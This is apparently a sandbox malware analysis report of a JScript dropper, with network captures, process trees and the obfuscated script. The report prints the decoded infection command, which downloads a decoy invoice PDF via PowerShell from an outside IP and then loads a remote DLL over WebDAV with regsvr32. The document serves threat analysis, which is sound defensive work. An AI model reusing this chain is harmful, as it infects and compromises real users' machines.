Jan 11, 2025 03:59:14.986334085 CET	8888	49736	193.143.1.205	192.168.2.4
Jan 11, 2025 03:59:15.037635088 CET	49736	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:59:15.995920897 CET	49736	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 04:00:57.210175037 CET	57393	53	192.168.2.4	1.1.1.1
Jan 11, 2025 04:00:57.215037107 CET	53	57393	1.1.1.1	192.168.2.4
Jan 11, 2025 04:00:57.215123892 CET	57393	53	192.168.2.4	1.1.1.1
Jan 11, 2025 04:00:57.215152979 CET	57393	53	192.168.2.4	1.1.1.1
Jan 11, 2025 04:00:57.219927073 CET	53	57393	1.1.1.1	192.168.2.4
Jan 11, 2025 04:00:57.659907103 CET	53	57393	1.1.1.1	192.168.2.4
Jan 11, 2025 04:00:57.661735058 CET	57393	53	192.168.2.4	1.1.1.1
Jan 11, 2025 04:00:57.666774988 CET	53	57393	1.1.1.1	192.168.2.4
Jan 11, 2025 04:00:57.666831970 CET	57393	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:59:27.037137032 CET	65128	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:59:43.782118082 CET	59066	53	192.168.2.4	1.1.1.1
Jan 11, 2025 04:00:57.209748030 CET	53	50868	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:59:27.037137032 CET	192.168.2.4	1.1.1.1	0xbebf	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:59:43.782118082 CET	192.168.2.4	1.1.1.1	0x8d8e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:59:27.044287920 CET	1.1.1.1	192.168.2.4	0xbebf	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:59:43.789616108 CET	1.1.1.1	192.168.2.4	0x8d8e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	193.143.1.205	80	2380	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:59:11.537081003 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:59:12.344386101 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:59:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:59:12.344508886 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:59:12.344518900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:59:12.344530106 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 03:59:12.344547033 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 03:59:12.344558954 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 03:59:12.344569921 CET	896	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 03:59:12.344588995 CET	892	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 03:59:12.344703913 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 03:59:12.344717979 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 03:59:12.349531889 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	193.143.1.205	8888	7120	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:59:14.185544014 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:59:14.986334085 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:59:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:59:06
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2148023713578731850.js"
Imagebase:	0x7ff7d3940000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:59:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll
Imagebase:	0x7ff7969c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:59:07
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:59:07
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:59:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:59:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7969c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:59:13
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b69a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:59:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:59:14
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:59:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1608,i,6291338694394739944,1176206968790904540,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lougs() {	lougs() ➔ undefined
1	llgcjqnsl = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ezcknxgii = this[pnwgxlqof + zeabrrxl + oafyemqr + fillo + absmfbyc + uqgktr + miqevf + rcawndk] ( this[jaozs + fjweoyfsp + zkzzwf + oafyemqr + vtufe + pnwgxlqof + rcawndk][xfvhbl + oafyemqr + absmfbyc + zeabrrxl + rcawndk + absmfbyc + vohiu + dqtbfp + rudxvukjw + absmfbyc + zkzzwf + rcawndk] ( jaozs + fjweoyfsp + zkzzwf + oafyemqr + vtufe + pnwgxlqof + rcawndk + yonpglx + fjweoyfsp + iwsvm + absmfbyc + ukpttgwzp + ukpttgwzp ) [ksbqbruy + absmfbyc + qkpreqic + ksbqbruy + absmfbyc + zeabrrxl + tkrzeiz] ( tbnkpwbw + yvtogkxbw + oxesliecn + tynjnl + llaohq + xfvhbl + iiiynze + ksbqbruy + ksbqbruy + oxesliecn + xizhglhet + cmlotrtq + llaohq + iiiynze + fjweoyfsp + oxesliecn + ksbqbruy + pdjukq + xfvhbl + mijfs + miqevf + rcawndk + oafyemqr + mijfs + ukpttgwzp + opouupkp + phdhpj + zeabrrxl + miqevf + absmfbyc + ukpttgwzp + pdjukq + uqgktr + miqevf + rcawndk + absmfbyc + oafyemqr + miqevf + zeabrrxl + rcawndk + vtufe + mijfs + miqevf + zeabrrxl + ukpttgwzp + pdjukq + gacww + mijfs + zkzzwf + zeabrrxl + ukpttgwzp + absmfbyc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jnasimc = 0 ; jnasimc < llgcjqnsl[ukpttgwzp + absmfbyc + miqevf + qkpreqic + rcawndk + iwsvm] ; ++ jnasimc )
4	{
5	if ( ezcknxgii == llgcjqnsl[jnasimc] )
6	{
7	ezcknxgii = true;
8	break ;
9	}
10	}
11	if ( ezcknxgii !== true )
12	this[jaozs + fjweoyfsp + zkzzwf + oafyemqr + vtufe + pnwgxlqof + rcawndk][gnxhact + ileqldxy + vtufe + rcawndk] ( );
13	this[jaozs + fjweoyfsp + zkzzwf + oafyemqr + vtufe + pnwgxlqof + rcawndk][xfvhbl + oafyemqr + absmfbyc + zeabrrxl + rcawndk + absmfbyc + vohiu + dqtbfp + rudxvukjw + absmfbyc + zkzzwf + rcawndk] ( jaozs + fjweoyfsp + zkzzwf + oafyemqr + vtufe + pnwgxlqof + rcawndk + yonpglx + fjweoyfsp + iwsvm + absmfbyc + ukpttgwzp + ukpttgwzp ) [oafyemqr + ileqldxy + miqevf] ( zkzzwf + ftdsprk + tkrzeiz + opouupkp + hsivwrnm + zkzzwf + opouupkp + pnwgxlqof + mijfs + tbjlwrbi + absmfbyc + oafyemqr + fillo + iwsvm + absmfbyc + ukpttgwzp + ukpttgwzp + yonpglx + absmfbyc + zwqhlbq + absmfbyc + opouupkp + mqlnppn + xfvhbl + mijfs + ftdsprk + ftdsprk + zeabrrxl + miqevf + tkrzeiz + opouupkp + kzyodqe + uqgktr + miqevf + ibpzepj + mijfs + gobwu + absmfbyc + mqlnppn + jaozs + absmfbyc + dqtbfp + ksbqbruy + absmfbyc + yemwypgq + ileqldxy + absmfbyc + fillo + rcawndk + opouupkp + mqlnppn + vohiu + ileqldxy + rcawndk + qszronad + vtufe + ukpttgwzp + absmfbyc + opouupkp + rvsgmahb + rcawndk + absmfbyc + ftdsprk + pnwgxlqof + rvsgmahb + pdjukq + vtufe + miqevf + ibpzepj + mijfs + vtufe + zkzzwf + absmfbyc + yonpglx + pnwgxlqof + tkrzeiz + uizcfw + opouupkp + iwsvm + rcawndk + rcawndk + pnwgxlqof + lyjvntknr + hsivwrnm + hsivwrnm + bwbqc + pzlfzvnn + clwvmm + yonpglx + bwbqc + zgnleboi + clwvmm + yonpglx + bwbqc + yonpglx + xqckdxtea + znzko + kkhaoac + hsivwrnm + vtufe + miqevf + ibpzepj + mijfs + vtufe + zkzzwf + absmfbyc + yonpglx + pnwgxlqof + iwsvm + pnwgxlqof + kzyodqe + hukgqs + hukgqs + fillo + rcawndk + zeabrrxl + oafyemqr + rcawndk + opouupkp + rvsgmahb + rcawndk + absmfbyc + ftdsprk + pnwgxlqof + rvsgmahb + pdjukq + vtufe + miqevf + ibpzepj + mijfs + vtufe + zkzzwf + absmfbyc + yonpglx + pnwgxlqof + tkrzeiz + uizcfw + hukgqs + hukgqs + zkzzwf + ftdsprk + tkrzeiz + opouupkp + hsivwrnm + zkzzwf + opouupkp + miqevf + absmfbyc + rcawndk + opouupkp + ileqldxy + fillo + absmfbyc + opouupkp + pdjukq + pdjukq + bwbqc + pzlfzvnn + clwvmm + yonpglx + bwbqc + zgnleboi + clwvmm + yonpglx + bwbqc + yonpglx + xqckdxtea + znzko + kkhaoac + sfyite + tnnatydn + tnnatydn + tnnatydn + tnnatydn + pdjukq + tkrzeiz + zeabrrxl + ibpzepj + tbjlwrbi + tbjlwrbi + tbjlwrbi + oafyemqr + mijfs + mijfs + rcawndk + pdjukq + hukgqs + hukgqs + zkzzwf + ftdsprk + tkrzeiz + opouupkp + hsivwrnm + zkzzwf + opouupkp + oafyemqr + absmfbyc + qkpreqic + fillo + ibpzepj + oafyemqr + clwvmm + xqckdxtea + opouupkp + hsivwrnm + fillo + opouupkp + pdjukq + pdjukq + bwbqc + pzlfzvnn + clwvmm + yonpglx + bwbqc + zgnleboi + clwvmm + yonpglx + bwbqc + yonpglx + xqckdxtea + znzko + kkhaoac + sfyite + tnnatydn + tnnatydn + tnnatydn + tnnatydn + pdjukq + tkrzeiz + zeabrrxl + ibpzepj + tbjlwrbi + tbjlwrbi + tbjlwrbi + oafyemqr + mijfs + mijfs + rcawndk + pdjukq + kkhaoac + tnnatydn + znzko + xqckdxtea + zgnleboi + avkildjg + ixrgplurh + tnnatydn + tnnatydn + ixrgplurh + kkhaoac + znzko + yonpglx + tkrzeiz + ukpttgwzp + ukpttgwzp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll",0,false) ➔ 0
14	}
15	jaozs = "B";
16	jaozs = "W";
17	tnnatydn = "M";
18	tnnatydn = "M";
19	tnnatydn = "X";
20	tnnatydn = "R";
21	tnnatydn = "t";
22	tnnatydn = "S";
23	tnnatydn = "K";
24	tnnatydn = "k";
25	tnnatydn = "B";
26	tnnatydn = "T";
27	tnnatydn = "q";
28	tnnatydn = "S";
29	tnnatydn = "U";
30	tnnatydn = "V";
31	tnnatydn = "F";
32	tnnatydn = "U";
33	tnnatydn = "H";
34	tnnatydn = "p";
35	tnnatydn = "j";
36	tnnatydn = "K";
37	tnnatydn = "s";
38	tnnatydn = "l";
39	tnnatydn = "I";
40	tnnatydn = "q";
41	tnnatydn = "j";
42	tnnatydn = "R";
43	tnnatydn = "T";
44	tnnatydn = "h";
45	tnnatydn = "e";
46	tnnatydn = "e";
47	tnnatydn = "K";
48	tnnatydn = "W";
49	tnnatydn = "o";
50	tnnatydn = "z";
51	tnnatydn = "m";
52	tnnatydn = "w";
53	tnnatydn = "j";
54	tnnatydn = "8";
55	tbjlwrbi = "O";
56	tbjlwrbi = "X";
57	tbjlwrbi = "A";
58	tbjlwrbi = "T";
59	tbjlwrbi = "V";
60	tbjlwrbi = "u";
61	tbjlwrbi = "j";
62	tbjlwrbi = "c";
63	tbjlwrbi = "U";
64	tbjlwrbi = "m";
65	tbjlwrbi = "v";
66	tbjlwrbi = "Q";
67	tbjlwrbi = "m";
68	tbjlwrbi = "i";
69	tbjlwrbi = "D";
70	tbjlwrbi = "h";
71	tbjlwrbi = "c";
72	tbjlwrbi = "p";
73	tbjlwrbi = "G";
74	tbjlwrbi = "S";
75	tbjlwrbi = "O";
76	tbjlwrbi = "a";
77	tbjlwrbi = "B";
78	tbjlwrbi = "R";
79	tbjlwrbi = "c";
80	tbjlwrbi = "C";
81	tbjlwrbi = "E";
82	tbjlwrbi = "D";
83	tbjlwrbi = "p";
84	tbjlwrbi = "g";
85	tbjlwrbi = "s";
86	tbjlwrbi = "m";
87	tbjlwrbi = "L";
88	tbjlwrbi = "z";
89	tbjlwrbi = "F";
90	tbjlwrbi = "m";
91	tbjlwrbi = "s";
92	tbjlwrbi = "z";
93	tbjlwrbi = "m";
94	tbjlwrbi = "w";
95	phdhpj = "b";
96	phdhpj = "J";
97	phdhpj = "O";
98	phdhpj = "i";
99	phdhpj = "d";
100	phdhpj = "x";
101	phdhpj = "Y";
102	phdhpj = "z";
103	phdhpj = "P";
104	pzlfzvnn = "n";
105	pzlfzvnn = "U";
106	pzlfzvnn = "K";
107	pzlfzvnn = "p";
108	pzlfzvnn = "n";
109	pzlfzvnn = "Q";
110	pzlfzvnn = "d";
111	pzlfzvnn = "f";
112	pzlfzvnn = "M";
113	pzlfzvnn = "A";
114	pzlfzvnn = "b";
115	pzlfzvnn = "f";
116	pzlfzvnn = "F";
117	pzlfzvnn = "x";
118	pzlfzvnn = "F";
119	pzlfzvnn = "J";
120	pzlfzvnn = "U";
121	pzlfzvnn = "l";
122	pzlfzvnn = "b";
123	pzlfzvnn = "v";
124	pzlfzvnn = "u";
125	pzlfzvnn = "f";
126	pzlfzvnn = "M";
127	pzlfzvnn = "E";
128	pzlfzvnn = "E";
129	pzlfzvnn = "z";
130	pzlfzvnn = "d";
131	pzlfzvnn = "g";
132	pzlfzvnn = "z";
133	pzlfzvnn = "S";
134	pzlfzvnn = "H";
135	pzlfzvnn = "R";
136	pzlfzvnn = "n";
137	pzlfzvnn = "U";
138	pzlfzvnn = "Y";
139	pzlfzvnn = "f";
140	pzlfzvnn = "9";
141	gacww = "F";
142	gacww = "W";
143	gacww = "z";
144	gacww = "o";
145	gacww = "L";
146	gacww = "O";
147	gacww = "m";
148	gacww = "a";
149	gacww = "u";
150	gacww = "H";
151	gacww = "W";
152	gacww = "z";
153	gacww = "d";
154	gacww = "Z";
155	gacww = "Y";
156	gacww = "v";
157	gacww = "U";
158	gacww = "F";
159	gacww = "S";
160	gacww = "g";
161	gacww = "a";
162	gacww = "Q";
163	gacww = "H";
164	gacww = "G";
165	gacww = "K";
166	gacww = "S";
167	gacww = "j";
168	gacww = "I";
169	gacww = "K";
170	gacww = "y";
171	gacww = "P";
172	gacww = "y";
173	gacww = "Q";
174	gacww = "J";
175	gacww = "L";
176	llaohq = "i";
177	llaohq = "l";
178	llaohq = "E";
179	llaohq = "J";
180	llaohq = "N";
181	llaohq = "n";
182	llaohq = "W";
183	llaohq = "B";
184	llaohq = "t";
185	llaohq = "S";
